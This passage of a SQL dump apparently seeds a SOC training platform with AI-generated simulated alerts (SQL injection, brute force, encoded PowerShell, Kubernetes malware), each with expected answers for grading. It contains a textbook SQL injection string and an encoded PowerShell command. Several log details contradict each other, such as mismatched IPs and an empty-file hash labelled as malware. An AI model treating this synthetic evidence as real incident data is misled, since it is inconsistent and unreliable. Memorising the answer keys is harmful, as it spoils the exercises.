Policy\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"ALERT-20231015-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.584Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"confidential_gov_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration Policy\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"ALERT-20231015-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.584Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"confidential_gov_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration Policy\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"ALERT-20231015-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.584Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"confidential_gov_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"dlp_policy\\\":\\\"Sensitive Data Exfiltration Policy\\\",\\\"action\\\":\\\"blocked\\\",\\\"alert_id\\\":\\\"ALERT-20231015-0001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1248, 'Malicious Command Execution Detected', 'high', 'Velociraptor', 'A suspicious PowerShell script was executed on an internal server, indicating potential malware deployment. The script was executed from an unknown external IP address.', 'Malware', 'T1059', 1, 'investigating', 277, '{\"timestamp\":\"2026-02-14T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"hostname\":\"Server01\",\"command_line\":\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\"}', '2026-02-14 17:16:52', '2026-03-11 11:48:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Privileged user account accessed\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The external IP address and the encoded PowerShell command are indicative of a malware attack. Immediate isolation and forensic analysis are required.\"}', 'Intermediate', 'IR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T08:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"Server01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T08:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"Server01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T08:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"Server01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T08:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"Server01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.724Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T08:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"Server01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand aQBlAHgAIAAtAHIAIAAtAGoAbgB1AGsAbwB3AG4A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1249, 'SQL Injection Attack Detected on Public Web Application', 'critical', 'KAPE', 'A SQL injection attack was detected targeting a public-facing web application. The payload was crafted to extract sensitive database information.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T10:15:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"203.0.113.10\",\"username\":\"web_user\",\"hostname\":\"WebServer01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-02-14 17:16:52', '2026-02-16 17:42:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Public-facing web server IP address\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL injection payload is a classic attack vector aiming to bypass authentication or extract database information. Blocking the attacker IP and securing the web application is critical.\"}', 'Intermediate', 'IR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.727Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"web_user\\\",\\\"hostname\\\":\\\"WebServer01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.727Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"web_user\\\",\\\"hostname\\\":\\\"WebServer01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.727Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"web_user\\\",\\\"hostname\\\":\\\"WebServer01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.727Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"web_user\\\",\\\"hostname\\\":\\\"WebServer01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.727Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"web_user\\\",\\\"hostname\\\":\\\"WebServer01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1250, 'AWS GuardDuty: Suspicious Failed Login Attempts Detected', 'high', 'AWS GuardDuty', 'Multiple failed login attempts detected from an external IP known for brute force attacks targeting IAM user accounts.', 'Brute Force', 'T1110', 0, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.100\",\"username\":\"jdoe\",\"hostname\":\"aws-ec2-instance\",\"failed_attempts\":25}', '2026-02-14 17:37:37', '2026-02-16 17:11:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IAM user account targeted in brute force attack\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted AWS instance\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a known malicious IP indicate a brute force attack on AWS IAM user accounts.\"}', 'Novice', 'CLOUD', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.729Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-15T12:46:56.729Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-15T12:45:56.729Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-15T12:44:56.729Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-15T12:43:56.729Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1251, 'Prisma Cloud: Malware Detected in Kubernetes Pod', 'critical', 'Prisma Cloud', 'Malware signature detected in a Kubernetes pod on the cluster, indicating an attempted compromise by a known threat.', 'Malware', 'T1059', 0, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T12:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"hostname\":\"k8s-node-1\",\"command_line\":\"/tmp/malicious_executable\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-02-14 17:37:37', '2026-02-15 12:47:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60+ antivirus engines as malicious\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in distribution of malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"/tmp/malicious_executable\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with known malware campaigns\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of a known malware hash in the Kubernetes environment suggests a successful infiltration attempt requiring immediate containment and analysis.\"}', 'Novice', 'CLOUD', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.730Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T12:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"k8s-node-1\\\",\\\"command_line\\\":\\\"/tmp/malicious_executable\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.730Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T12:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"k8s-node-1\\\",\\\"command_line\\\":\\\"/tmp/malicious_executable\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.730Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T12:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"k8s-node-1\\\",\\\"command_line\\\":\\\"/tmp/malicious_executable\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.730Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T12:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"k8s-node-1\\\",\\\"command_line\\\":\\\"/tmp/malicious_executable\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.730Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T12:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"hostname\\\":\\\"k8s-node-1\\\",\\\"command_line\\\":\\\"/tmp/malicious_executable\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1252, 'Detected Brute Force Attack on External SSH Service', 'high', 'Splunk', 'Multiple failed login attempts detected from a foreign IP targeting SSH service on an internal server.', 'Brute Force', 'T1110', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T02:34:56Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"internal-ssh-server\",\"failed_attempts\":35}', '2026-02-14 12:15:28', '2026-02-19 15:19:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts from a suspicious foreign IP indicates a brute force attack.\"}', 'Intermediate', 'IR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.732Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T02:34:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-ssh-server\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-15T12:46:56.732Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T02:34:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-ssh-server\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-15T12:45:56.732Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T02:34:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-ssh-server\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-15T12:44:56.732Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T02:34:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-ssh-server\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-15T12:43:56.732Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T02:34:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"internal-ssh-server\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
